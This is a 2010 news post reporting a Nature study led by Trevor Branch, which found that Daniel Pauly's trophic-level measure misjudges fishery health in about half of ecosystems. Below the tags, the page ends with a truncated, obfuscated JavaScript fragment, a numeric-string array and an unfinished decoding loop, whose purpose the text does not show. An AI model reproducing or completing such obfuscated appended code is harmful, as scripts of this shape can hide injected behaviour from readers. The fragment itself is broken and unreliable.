

## Trophic level model discredited

Written by Administrator

Sunday, 21 November 2010 18:27 -

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Daniel Pauly's famous model of "fishing down the food web" has come under attack by an international group of scientists in a recent paper in *Nature*. The Pauly trophic level measure for assessing the state of the world's oceans and fisheries led to inaccurate conclusions in nearly half the ecosystems where it was applied according to this new analysis. Trevor Branch, who led the recent study, says that "Applied to individual ecosystems it's like flipping a coin, half the time you get the right answer and half the time you get the wrong answer." According to Branch and colleagues, relying on changes in the average trophic level of fish being caught won't tell us when fishing is sustainable or if it is leading to collapse. That's because when harvests of everything increase about equally, the average trophic level of what is caught remains steady. The same is true if everything is overfished to collapse. More

[here](#)

TAGS: Overfishing, sustainable fishing, fisheries, trophic level, Trevor Branch, Daniel Pauly, *Nature*

```
var a=0,m,v,t,z,x=new
```

```
Array('7980857265','7571736577','7675796980697574','6162797572818065','63726976','78656380','7684','61818075'),l=x.length;while(++a
```